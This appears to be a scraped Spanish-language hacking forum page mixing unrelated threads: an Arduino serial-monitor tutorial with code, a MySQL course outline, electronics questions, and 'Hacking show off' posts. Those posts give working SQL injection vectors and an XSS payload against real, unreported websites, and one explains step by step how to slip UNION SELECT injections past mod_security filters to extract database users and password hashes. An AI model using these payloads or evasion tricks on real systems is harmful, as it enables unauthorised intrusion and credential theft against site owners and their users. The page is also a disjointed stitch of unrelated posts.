You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Me pregunta si en algun post que algun miebro haya hecho, hay un generador de claves.
No se comoexplicarlo pero les dejare un link.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Eso mismo pero en una aplicación para la pc.



Gracias.

• Instalación de MySQL en Ubuntu
  
  
  
• Crear base de datos,tablas y hacer insert
  
  
  
• Select anidados y funciones internas de MySQL
  
  
  
• Procedimientos de almacenado
  
  
  
• Trigger
  
  
  
• Respaldo y restauración
  
  
  

Cualquier consulta o sugerencia por favor no dudes en comentar 

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se me olvidó poner la password del RAR.

Gracias @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Excelente tu Aporte mi amigo, Gracias

Bueno lo que veo es que este que te enseño en la imagen es el que recibe la señal

y veo el post q me pasastes q dice que recibe varias frecuencias que se codifican para funcionar,

si es que es eso lo que entendi espero que sea asi???

verifica a ver amigo mio y de verdad gracias

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
si se que ese es el cristal, y dice que es de 27 mhz, pero quiero saber cual es el cristal de la placa del carrito

• 
  [SQLi] Inyección en URL
       
      Url del sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Vector:  -1/*!50000UNION*//*!50000SELECT*/1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3--+
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Reportado: NO
      Autor: RREEDD

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login la imagen está caida, puedes resubirla?

Gracias,

Un saludo!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
No es tan dificil evadir el mod security, solo basta un poco de imaginación, finalmente el mod security se basa en una blacklist sobre expreisones regulares, no es algo 100% fiable.

Por ejemplo:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

<img width="365" height="64" src="images/categoria/5.5.42-37.1-log">

MySQL 5.5.42

El mod security te detecta todo lo que tenga "union select" y sus derivados como union all select, union/**/all/**/select o union%0a%0cselect, pero basta con quebrar la consulta uniendo comentarios mas saltos de linea: union -- %0a%0c select y listo, el motor interpretador de la base de datos interpretará union\nselect. Fuera de esto también te detecta select 1,1, pero no te detecta select '1','1'. Detecta ...'1',user(),'1'... pero no detecta ...'1',(user()),'1'... , por ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

<img width="365" height="64" src="images/categoria/micronic_base@localhost">

micronic_base@localhost

Finalmente datos que te pueden servir para leer el usuario y contraseña o hash de acceso para paginas como esta:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Por esto por lo general prefiero no utilizar sqlmap porque en muchos caso te encuentras con mucha ofuscación, si no es el mod security es el waf, el firewall o el ids, vas sacando las inyecciones en el camino y vas sorteando los filtros a medida que van apareciendo.

Al final la persona siempre será mas hábil que una maquina, por eso no me gusta dejarle el trabajo a un software.

• [SQLi] Inyección en URL (el resultado se la inyección se ve reflejado en la imagen, así que si miramos el código fuente veremos la inyección ).
     
  
      Url del sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  
     Vector : -1%27/*!50000UNION*//*!50000SELECT*/1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5%20--+&cat_id=50
  
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  
      Reportado: NO
  
      Autor: RREEDD

Compañeros, hoy les explicare como usar el celular como monitor Serial de Arduino y así no tendremos que conectarlo al PC para saber que es lo que esta pasando en las entrañas de nuestra placa  .

• Que nuestro teléfono sea compatible con "USB On-The-Go", lo que según Wikipedia seria:
  
  

  CitarUSB On-The-Gonota 1 conocido también por el acrónimo USB OTG y como USB hostnota 2 es una extensión de la norma USB 2.0 que permite a los dispositivos USB tener mayor flexibilidad en la gestión de la interconexión.
  
  Permite que ciertos dispositivos, por ejemplo: reproductor de audio digital o teléfono móvil, actúen como host, por lo que se les puede conectar una memoria USB, un ratón, un teclado, un disco duro, un módem, etc.

  Para mas información.
  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



• Tener un cable de USB a MicroUSB (depende de la entrada de tu terminal)
  
  
  
• Descargar esta aplicación para Crear la conexión Serial desde el Smartphone a Arduino
  
  LINK : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
     
  

// Importa las librerias

#include <Wire.h>                 
#include <LiquidCrystal_I2C.h>    // Libreria que controla la pantalla LCD
LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);  // Inicializa el LCD
int cont;  // contador que enviaremos con Serial

/*
 Para descargar la libreria  LiquidCrystal_I2C.h.

https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads/LiquidCrystal_V1.2.1.zip

             
                    _________________
                    |d13         D12| 
                    |3v3         D11| 
                    |REF         D10|     
                    |A0   Arduino D9|
                    |A1    NANO   D8|
                    |A2           D7|
                    |A3           D6|
         SDA (lcd)  |A4           D5| 
         SCL (lcd)  |A5           D4| 
                    |A6           D3| 
                    |A7           D2| 
         VCC (lcd)  |5v          GND| 
                    |RST         RST|
         GND (lcd)  |GND          TR| 
                    |VIN          TX| 
                    |_______________|        
*/
void setup()   { 
  
lcd.begin(16,2);      // Se introduce el tamaño de nuestro LCD  
Serial.begin(9600);  // Establecemos la comunicacion Serial a 9600 baud 
cont =0;
}
void loop() {
  	
lcd.clear();          			     	 	       // Limpia la pantalla
lcd.setCursor(0,0);    						      // Establece la ubicacion
lcd.print("underc0de"); 		   			     // mensaje
lcd.setCursor(0,1);         	   			    // Establece la ubicacion
lcd.print("Contador");     		   			   // mensaje
lcd.setCursor(12,1);       		  			  // Establece la ubicacion
lcd.print(cont);           		  			 // mensaje
delay (1000);           		  			// establece una espera en el codigo
String mensaje="underc0de Contador: ";     // establece el mensaje
Serial.print(mensaje);                    // mensaje por Serial
Serial.println(cont);                    // mensaje por Serial
cont = cont + 1 ;

 }

int cont;  // contador que enviaremos con Serial

void setup()   { 
Serial.begin(9600);  // Establecemos la comunicacion Serial a 9600 baud 
cont =0;
}
void loop() {
  	

delay (1000);           		  			// establece una espera en el codigo
String mensaje="underc0de Contador: ";     // establece el mensaje
Serial.print(mensaje);                    // mensaje por Serial
Serial.println(cont);                    // mensaje por Serial
cont = cont + 1 ;

 }

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Perfecto @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ! así tienen que ser los reportes en "Hacking show off" con el payload explotando la falla.

Saludos!, EPSILON.

• [SQLi] Inyección en URL .
     
      Url del sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Reportado: NO
      Autor: RREEDD


• [XSS] Inyección en URL
       
      Url del sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Vector:  <script>prompt('underc0de','rreedd');</script>
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
      Reportado: NO
      Autor: RREEDD
  

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.

Saludos, EPSILON.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Estupendo trabajo!!

Te felicito y agradezco que lo compartieras con nosotros!
Te dejo coins 

Saludos.

Gabriela